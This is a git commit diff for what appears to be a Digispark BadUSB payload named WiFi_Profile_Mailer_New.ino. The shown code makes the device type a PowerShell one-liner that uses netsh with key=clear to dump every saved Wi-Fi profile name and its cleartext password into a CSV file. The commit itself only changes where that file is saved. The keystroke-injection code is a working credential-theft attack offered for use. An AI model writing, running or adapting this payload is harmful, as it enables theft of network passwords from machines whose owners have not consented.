Merge pull request #58 from kylefmohr/fix-Wifi_Profile_Mailer_New
Update WiFi_Profile_Mailer_New.ino
This commit is contained in:
commit
8ddb7b42ad
|
@ -19,7 +19,7 @@ void loop() {
|
|||
DigiKeyboard.delay(1000);
|
||||
DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\\temp.csv;exit"));
|
||||
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path temp.csv;exit"));
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(3000);
|
||||
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
|
||||
|
|
Loading…
Reference in New Issue